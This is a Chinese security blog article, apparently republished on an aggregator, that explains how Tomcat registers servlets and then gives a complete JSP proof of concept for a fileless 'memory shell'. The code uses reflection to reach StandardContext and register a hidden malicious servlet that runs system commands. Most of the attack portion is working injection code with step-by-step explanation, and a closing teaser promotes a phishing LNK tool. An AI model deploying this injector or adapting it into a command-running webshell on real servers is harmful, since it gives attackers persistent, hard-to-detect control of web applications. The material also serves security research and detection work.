Java安全之Servlet内存马

admin 2026-03-05 19:46:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析了Servlet内存马的技术原理与实现方法。核心结论是:攻击者可通过反射获取Tomcat的StandardContext对象,动态调用其addChild与addServletMappingDecoded方法,将恶意Servlet注入运行中的Web容器,从而实现无文件WebShell。文章详细解析了Tomcat的Servlet加载机制与StandardContext的关键角色,并提供了从原理分析到完整代码实现的全流程指南,具有很强的可操作性。 综合评分: 86 文章分类: 渗透测试,WEB安全,内网渗透,漏洞分析,安全工具


cover_image

Java安全之Servlet内存马

子非鱼 子非鱼

船山信安

2026年3月4日 21:12 新加坡

Servlet内存马的技术原理

Tomcat等容器的Servlet加载机制

  1. 启动与初始化
  • 当Tomcat启动时,它会解析web.xml文件(或读取@WebServlet注解)来获知需要加载哪些Servlet。
  • 对于每个定义的Servlet,容器会创建其类的一个实例,并调用其 init()方法进行一次性初始化。这个过程是静态的,在应用启动时完成。
  1. 请求处理流程
  • 当一个HTTP请求到达Tomcat时,它首先会被Connector接收。
  • 然后,请求被传递到对应的Engine-> Host-> Context(即你的Web应用)。
  • Context层面,容器根据请求的URL路径,去查找匹配的Servlet。这个映射关系存储在StandardContext对象的servletMappings属性中。
  • 找到对应的Servlet后,容器会调用该Servlet的 service()方法,进而根据请求方法分派到 doGet()doPost()等方法。
  1. 关键洞察
  • 这个流程的核心是 StandardContext。它是整个Web应用的运行时代表,持有了所有Servlet的定义(children)、映射关系(servletMappings)以及过滤器、监听器等。
  • 内存马的目标,就是在运行时动态地向这个StandardContext中插入一个恶意的Servlet并为其分配一个URL映射。

StandardContext 在 Tomcat 中的角色

  • StandardContext实现了Context接口,而Context接口继承了ServletContext。因此,在 Tomcat 中,StandardContext的实例可以被强转为ServletContext

  • 它是整个 Web 应用的“管理中心”,主要功能包括:

  • 解析 web.xml或注解配置

  • 注册并管理所有的 Servlet、Filter、Listener

  • 提供 addServlet()addListener()等动态注册 API

  • 维护请求映射表(URL Pattern → Servlet)

  • 触发应用级别的事件(如 ContextInitialized

为什么它是内存马的关键? 因为攻击者一旦能获取到StandardContext实例,就可以绕过web.xml或注解,就可以通过 Wrapper 动态注册 Servlet,将恶意 Servlet 注入到当前应用中 —— 这正是 Servlet 型内存马的核心入口

关键组件详解

1. Context(上下文)

  • 对应一个完整的 Web 应用(如 myapp.war

  • 在 Tomcat 中实现类为 StandardContext

  • 职责:

  • 管理该应用下的所有 Servlet、Filter、Listener

  • 维护 ServletContext对象(全局唯一的上下文环境)

  • 处理 URL 映射(mapping)

  • 支持动态添加/移除 Servlet(Servlet 3.0+)

ServletContext context = request.getServletContext();

2. Wrapper

  • 是 Tomcat 内部对 Servlet的封装
  • 每个 Servlet 都对应一个 Wrapper实例
  • 负责 Servlet 的生命周期管理(创建、初始化、调用、销毁)
  • 可通过 Context.findChildren()获取所有 Wrapper
StandardContext ctx = ...;
Object[] wrappers = ctx.findChildren(); // 返回 Wrapper 数组
for (Object wrapper : wrappers) {
    System.out.println("Servlet Name: " + ((Wrapper)wrapper).getName());
}

3. Servlet

  • 用户编写的业务逻辑类(如 LoginServlet.java
  • 被 Wrapper包装后由容器统一调度

核心原理

Servlet 内存马的本质是动态向 Web 容器(如 Tomcat、Jetty)注册一个恶意 Servlet,并通过容器的请求分发机制触发恶意代码。其核心依赖于:

  1. Web 容器的 Servlet 注册机制(如 Tomcat 的ServletContext接口);
  2. 反射技术获取容器内部对象(避开权限限制);
  3. 恶意 Servlet 的service方法作为触发点(处理 HTTP 请求时执行恶意逻辑)。

代码演示

Servlet简单演示

写一个简单的servlet

package org.example.listendemo;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // 获取请求参数
        String name = req.getParameter("name");
        if (name == null) name = "Guest";
        // 响应结果
        resp.getWriter().write("Hello, " + name + "!");
    }
}

功能:接收前端的name参数,返回 “Hello, XXX”。 然后在web.xml中配置进行静态注册

<servlet>
&nbsp; &nbsp; <servlet-name>ServletDemo</servlet-name>
&nbsp; &nbsp; <servlet-class>org.example.listendemo.ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
&nbsp; &nbsp; &nbsp; &nbsp; <servlet-name>ServletDemo</servlet-name>
&nbsp; &nbsp; <url-pattern>/servletdemo</url-pattern>
</servlet-mapping>

然后配置好Tomcat后启动项目, 访问该url: /servletdemo http://localhost:8080/LIstenDemo_war_exploded/servletdemo 然后就可以看到页面输出了

注意

但是在这个过程中, 可以看到我们配置路径实在web.xml中静态注册, 或者也可以使用@WebServlet配置, 但都是静态配置, 提前配置好的 这个注册过程在Tomcat启动之前就好了, 运行时无法修改 但内存马的目标时在运行时偷偷测住Servlet, 跳过静态配置 所以在运行时调用 Tomcat 的addServletaddMapping方法,就能注册一个 “看不见” 的 Servlet 了—— 这就是内存马的核心思路。

内存马

由此, 我们就可以手搓一个内存马 首先分析上面servlet的执行过程, 先进行配置. 因为要分析tomcat, 所以在pom.xml中添加配置, 版本和自己的Tomcat的版本保持一致

<dependency>
&nbsp; &nbsp; <groupId>org.apache.tomcat</groupId>
&nbsp; &nbsp; <artifactId>tomcat-catalina</artifactId>
&nbsp; &nbsp; <version>9.0.58</version>
</dependency>

在分析Servlet的执行流程过程前, 可以通过下面文章了解Tomcat的执行过程. Tomcat请求流程源码调试 | 三大组件内存马浅析: https://mp.weixin.qq.com/s/eVo2ldW_Vemy31HZR0vUbw Tomcat源码初识一 Tomcat整理流程图

在Tomcat中,Servlet的加载过程分为两个主要阶段:应用启动时的静态配置加载和运行时的动态注册。ContextConfig.configureContext(WebXml webxml)主要负责第一种情况。 ContextConfig.configureContext(WebXml webxml)的作用 ContextConfig是Tomcat中负责配置Context容器的类,它会读取web.xml文件并将配置信息应用到StandardContext中。

静态配置加载过程

当Tomcat启动Web应用时,会执行以下步骤:

  • 解析web.xml文件:

  • ContextConfig读取并解析web.xml文件

  • 将配置信息存储在WebXml对象中

  • 调用configureContext方法:

  • ContextConfig.configureContext(WebXml webxml)方法会处理WebXml中的配置

  • 对于Servlet配置,会创建Wrapper并添加到StandardContext 除了web.xmlContextConfig还会扫描类路径下的@WebServlet@WebFilter等注解(需metadata-complete="false"),并将它们合并到WebXml对象中,后续处理逻辑完全一致 上面项目通过web.xml配置加载的: 当Tomcat启动时,ContextConfig会:

  1. 解析这段配置

  2. 在configureContext方法中创建一个名为”ServletDemo”的Wrapper

  3. 将Wrapper添加到StandardContext的children容器中

  4. 添加URL映射关系:”/servletdemo” -> “ServletDemo” 所以在org.apache.catalina.startup.ContextConfig文件configureContext方法打个断点进行分析

    断点后调试, 分析

    servlets是一个 HashMap类型的变量,用于存储 Web 应用中所有已配置的 Servlet 的相关信息 ,键是 Servlet 的名称,值是 ServletDef类型的对象 servletMappings是一个 HashMap类型的变量,它维护了 URL 模式和 Servlet 名称之间的映射关系 ,即通过这个数据结构,Tomcat 能够知道当接收到某个 URL 请求时,应该将请求转发给哪个 Servlet 进行处理。 configureContext中的处理流程 在configureContext方法中,对于Servlet配置的处理大致如下:

// 简化的处理流程
protected void configureContext(WebXml webxml) {
&nbsp; &nbsp; // 处理Servlet定义
&nbsp; &nbsp; for (ServletDef servletDef : webxml.getServlets().values()) {
&nbsp; &nbsp; &nbsp; &nbsp; Wrapper wrapper = context.createWrapper();
&nbsp; &nbsp; &nbsp; &nbsp; wrapper.setName(servletDef.getServletName());
&nbsp; &nbsp; &nbsp; &nbsp; wrapper.setServletClass(servletDef.getServletClass());
&nbsp; &nbsp; &nbsp; &nbsp; // 设置其他属性...

&nbsp; &nbsp; &nbsp; &nbsp; // 添加到Context容器
&nbsp; &nbsp; &nbsp; &nbsp; context.addChild(wrapper);
&nbsp; &nbsp; }

&nbsp; &nbsp; // 处理Servlet映射
&nbsp; &nbsp; for (ServletMappingDef mapping : webxml.getServletMappings()) {
&nbsp; &nbsp; &nbsp; &nbsp; context.addServletMappingDecoded(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mapping.getUrlPattern(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mapping.getServletName());
&nbsp; &nbsp; }

&nbsp; &nbsp; // 处理其他配置...
}

在这里核心代码就是

这两行, 所以在注入内存马的时候, 只需要调用

context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

所以需要获取context, 分析调用堆栈, 可知context来自于StandardContext ContextConfigStandardContext的生命周期监听器(LifecycleListener)。在 Tomcat 启动时,StandardContext会将自身作为事件源传递给ContextConfig,因此ContextConfig.context字段实际指向的就是当前 Web 应用的StandardContext实例。 这是正常的静态配置的接在servlet的过程

动态配置–注入内存马

基于上面的分析, 我们只需要能够获取StandardContext实列,然后调用addChild()和addServletMappingDecoded()方法就可以注入内存马 虽然StandardContext提供了addChild()方法,但问题是:

  • StandardContext是 Tomcat 内部实现类,不在标准 API 中暴露。
  • 我们的恶意代码运行在 Servlet 或 Filter 中,无法直接引用它。 但我们有一个“合法入口”——每个 HTTP 请求都能访问的:
ServletContext servletContext = request.getServletContext();

这个servletContext对象看似只是一个标准接口,但实际上它背后隐藏着StandardContext的真实实例。我们要做的,就是通过反射一层层“剥开”它的包装。

  1. Tomcat 的包装结构:三层嵌套

在 Tomcat 中,ServletContext的实现采用了门面模式(Facade Pattern),目的是对外暴露安全接口,隐藏内部复杂结构。 其真实结构如下:

request.getServletContext()
&nbsp; &nbsp; ↓
返回类型:ServletContext (接口)
&nbsp; &nbsp; ↓
实际对象:ApplicationContextFacade ← 我们拿到的“门面”
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;applicationContext (字段) → ApplicationContext ← 中间包装
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context (字段) → StandardContext ← 真实目标

| 类名 | 作用 | | — | — | | ServletContext | Java EE 标准接口,应用层唯一可见的入口 | | ApplicationContextFacade | 门面类,防止用户直接操作内部对象 | | ApplicationContext | 内部包装类,持有对 StandardContext的引用 | | StandardContext | Tomcat 核心类,真正管理 Servlet 的生命周期 |

基于此, 构造servlet内存马

流程:

  1. 创建恶意Servlet类
  2. 获取context:StandardContext(通过反射)
  3. 从context获取Wrapper对象
  4. 将自己的Servlet封装进wrapper对象
  5. 将wrapper添加到上下文并设置映射路径

1. 创建恶意Servlet类

#

<%@ page import="java.io.IOException" %><%--
&nbsp; Created by IntelliJ IDEA. &nbsp;User: 14109 &nbsp;Date: 2025/10/18 &nbsp;Time: 15:41 &nbsp;To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
&nbsp; &nbsp; // 定义一个恶意servlet
&nbsp; &nbsp; public class ShellServlet extends HttpServlet {
&nbsp; &nbsp; &nbsp; &nbsp; @Override
&nbsp; &nbsp; &nbsp; &nbsp; public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, IOException {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Runtime.getRuntime().exec("calc");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
%>

2. 获取context:StandardContext(通过反射)

// 方式1:通过 request(最常用)
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = (StandardContext) servletContext;

// 方式2:通过 Thread Context ClassLoader(无 request 时)
WebAppClassLoader webAppClassLoader = (WebAppClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webAppClassLoader.getContext();

为什么能强转? 因为 Tomcat 中StandardContext实现了ServletContext接口。

3. 调用context.createWrapper()创建一个全新的 Wrapper

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evil"); // Servlet 名称(必须唯一)
wrapper.setServlet(evilServlet); // 直接设置 Servlet 实例(绕过类加载)

关键点:

  • 不要调用setServletClass()(那样会走类加载 + init,可能失败)
  • 直接setServlet(instance)才能确保恶意逻辑生效

4. 将 Wrapper 添加到 StandardContext

standardContext.addChild(wrapper);
  • 这会将 wrapper 加入StandardContext.children容器
  • 后续请求分发时,Tomcat 能找到这个 Servlet

5. 注册 URL 映射路径

standardContext.addServletMappingDecoded("/evil", "evil");
  • 第一个参数:访问路径(如/evil
  • 第二个参数:Servlet 名称(必须与wrapper.setName()一致)

此时访问http://target/evil?cmd=whoami即可触发内存马。

完整内存马

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %> <!-- 导入反射相关类,用于突破 private 限制 -->
<%@ page import="org.apache.catalina.core.*" %> <!-- 导入 Tomcat 核心类:StandardContext、ApplicationContext 等 -->
<%@ page import="org.apache.catalina.Wrapper" %> <!-- Wrapper 是 Tomcat 中包装 Servlet 的容器组件 -->
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
&nbsp; 文件名: memshell.jsp
&nbsp; 功能: Tomcat Servlet 型内存马注入 PoC
&nbsp; 作者: [你的名字]
&nbsp; 日期: 2025年10月18日
&nbsp; 描述: 通过反射获取 StandardContext,动态注册恶意 Servlet,实现无文件 WebShell。
--%>

<%!
&nbsp; &nbsp; // ==================== 定义恶意 Servlet(静态内部类)====================
&nbsp; &nbsp; // 注意:此处 ShellServlet 虽未显式声明为 static,但在实际运行中仍可能被当作 static 处理
&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;但为了安全起见,建议显式添加 static,避免持有外部 JSP 实例引用导致类加载问题

&nbsp; &nbsp; public class ShellServlet extends HttpServlet {

&nbsp; &nbsp; &nbsp; &nbsp; // 构造函数(可选)
&nbsp; &nbsp; &nbsp; &nbsp; public ShellServlet() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; super();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; // 重写 doGet 方法,处理 HTTP GET 请求
&nbsp; &nbsp; &nbsp; &nbsp; @Override
&nbsp; &nbsp; &nbsp; &nbsp; public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 执行系统命令:弹出计算器(Windows 系统)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Runtime.getRuntime().exec("calc");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 其他平台示例:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // macOS: Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Linux: Runtime.getRuntime().exec("gnome-calculator");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 异常不会返回给客户端,但会记录在服务器日志中
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; // 重写 doPost 方法,使其与 doGet 行为一致
&nbsp; &nbsp; &nbsp; &nbsp; @Override
&nbsp; &nbsp; &nbsp; &nbsp; public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; doGet(request, response);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
%>

<%
&nbsp; &nbsp; // ==================== 获取 StandardContext 实例 ====================
&nbsp; &nbsp; // 目标:获取 Tomcat 的 StandardContext 对象,它是管理 Servlet 生命周期的核心组件
&nbsp; &nbsp; // 路径:ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
&nbsp; &nbsp; // 原理:Tomcat 使用门面模式(Facade)保护内部对象,我们通过反射“剥开”这层封装

&nbsp; &nbsp; // 从当前请求中获取 ServletContext 对象
&nbsp; &nbsp; // ServletContext 是整个 Web 应用的全局上下文,每个请求都能访问
&nbsp; &nbsp; ServletContext servletContext = request.getServletContext();

&nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; // --- 第一步:从 ServletContext 获取 ApplicationContext ---
&nbsp; &nbsp; &nbsp; &nbsp; // request.getServletContext() 返回的是 org.apache.catalina.core.ApplicationContextFacade
&nbsp; &nbsp; &nbsp; &nbsp; // 它是一个门面类,内部通过 private 字段 context 持有真正的 ApplicationContext 实例
&nbsp; &nbsp; &nbsp; &nbsp; Field applicationContextField = servletContext.getClass().getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; // setAccessible(true) 允许访问 private 字段,突破 Java 访问控制
&nbsp; &nbsp; &nbsp; &nbsp; applicationContextField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; // 获取 ApplicationContext 实例
&nbsp; &nbsp; &nbsp; &nbsp; ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
&nbsp; &nbsp; &nbsp; &nbsp; // 此时我们拿到了 ApplicationContext,它是 ApplicationContextFacade 的内部包装对象

&nbsp; &nbsp; &nbsp; &nbsp; // --- 第二步:从 ApplicationContext 获取 StandardContext ---
&nbsp; &nbsp; &nbsp; &nbsp; // ApplicationContext 内部通过 protected 字段 context 持有 StandardContext 的引用
&nbsp; &nbsp; &nbsp; &nbsp; // StandardContext 是 Tomcat 中对应 <Context> 的实现类,负责管理 Servlet、Filter 等
&nbsp; &nbsp; &nbsp; &nbsp; Field standardContextField = applicationContext.getClass().getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; standardContextField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; // 获取 StandardContext 实例
&nbsp; &nbsp; &nbsp; &nbsp; StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
&nbsp; &nbsp; &nbsp; &nbsp; // &nbsp;成功获取 StandardContext!现在我们可以动态注册 Servlet 了

&nbsp; &nbsp; &nbsp; &nbsp; // ==================== 创建并配置 Wrapper ====================
&nbsp; &nbsp; &nbsp; &nbsp; // 在 Tomcat 中,Servlet 不是直接添加到 Context 的,而是通过 Wrapper 包装
&nbsp; &nbsp; &nbsp; &nbsp; // Wrapper 是 Tomcat 的“管道”组件,用于封装 Servlet 实例及其配置

&nbsp; &nbsp; &nbsp; &nbsp; // 创建一个新的 Wrapper 实例
&nbsp; &nbsp; &nbsp; &nbsp; Wrapper wrapper = standardContext.createWrapper();

&nbsp; &nbsp; &nbsp; &nbsp; // 设置 Wrapper 的名称(唯一标识符)
&nbsp; &nbsp; &nbsp; &nbsp; wrapper.setName("memshell");
&nbsp; &nbsp; &nbsp; &nbsp; // 这个名称将在 addServletMappingDecoded 中使用,必须唯一且一致

&nbsp; &nbsp; &nbsp; &nbsp; // 设置 Wrapper 要加载的 Servlet 类名
&nbsp; &nbsp; &nbsp; &nbsp; // 注意:setServletClass() 是告诉容器“按需加载”该类
&nbsp; &nbsp; &nbsp; &nbsp; // 但因为我们已经 new 了一个实例,所以这个设置不是必须的
&nbsp; &nbsp; &nbsp; &nbsp; wrapper.setServletClass(ShellServlet.class.getName());

&nbsp; &nbsp; &nbsp; &nbsp; // 直接设置 Servlet 实例(推荐方式)
&nbsp; &nbsp; &nbsp; &nbsp; // 这样可以避免类加载器找不到内部类的问题(如 JSP 编译后的 $ShellServlet)
&nbsp; &nbsp; &nbsp; &nbsp; wrapper.setServlet(new ShellServlet());

&nbsp; &nbsp; &nbsp; &nbsp; // ==================== 注册 Servlet 到容器 ====================
&nbsp; &nbsp; &nbsp; &nbsp; // 将包装好的 Wrapper 添加到 StandardContext 的子组件列表中
&nbsp; &nbsp; &nbsp; &nbsp; // 相当于在 web.xml 中定义了:
&nbsp; &nbsp; &nbsp; &nbsp; // <servlet>
&nbsp; &nbsp; &nbsp; &nbsp; // &nbsp; &nbsp; <servlet-name>memshell</servlet-name>
&nbsp; &nbsp; &nbsp; &nbsp; // &nbsp; &nbsp; <servlet-class>ShellServlet</servlet-class>
&nbsp; &nbsp; &nbsp; &nbsp; // </servlet>
&nbsp; &nbsp; &nbsp; &nbsp; standardContext.addChild(wrapper);

&nbsp; &nbsp; &nbsp; &nbsp; // 将 URL 路径 "/memshell" 映射到名为 "memshell" 的 Servlet
&nbsp; &nbsp; &nbsp; &nbsp; // addServletMappingDecoded 表示路径已经是解码状态(无需 URL 解码)
&nbsp; &nbsp; &nbsp; &nbsp; // 相当于在 web.xml 中定义了:
&nbsp; &nbsp; &nbsp; &nbsp; // <servlet-mapping>
&nbsp; &nbsp; &nbsp; &nbsp; // &nbsp; &nbsp; <servlet-name>memshell</servlet-name>
&nbsp; &nbsp; &nbsp; &nbsp; // &nbsp; &nbsp; <url-pattern>/memshell</url-pattern>
&nbsp; &nbsp; &nbsp; &nbsp; // </servlet-mapping>
&nbsp; &nbsp; &nbsp; &nbsp; standardContext.addServletMappingDecoded("/memshell", "memshell");

&nbsp; &nbsp; &nbsp; &nbsp; // 可选:向客户端返回成功信息
&nbsp; &nbsp; &nbsp; &nbsp; out.println("<html><body><h3> Memory Shell Injected!</h3>");
&nbsp; &nbsp; &nbsp; &nbsp; out.println("Access <a href='/memshell'>/memshell</a> to trigger calc.</body></html>");

&nbsp; &nbsp; } catch (Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; // 捕获所有异常,防止页面崩溃暴露细节
&nbsp; &nbsp; &nbsp; &nbsp; out.println("<html><body><h3>
&nbsp; &nbsp; Injection Failed: " + e.getMessage() + "</h3></body></html>");
&nbsp; &nbsp; &nbsp; &nbsp; // 打印堆栈到服务器日志(仅管理员可见)
&nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; }
%>

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 子非鱼 子非鱼《Java安全之Servlet内存马》

钓鱼神器–lnk-it-up 网络安全文章

钓鱼神器–lnk-it-up

文章总结: 本文介绍了一款名为lnk-it-up的GitHub工具,该工具主要用于生成和识别欺骗性LNK文件,文章随后重点推广红蓝偶像练习生付费圈子,列举了圈子
评论:0   参与:  0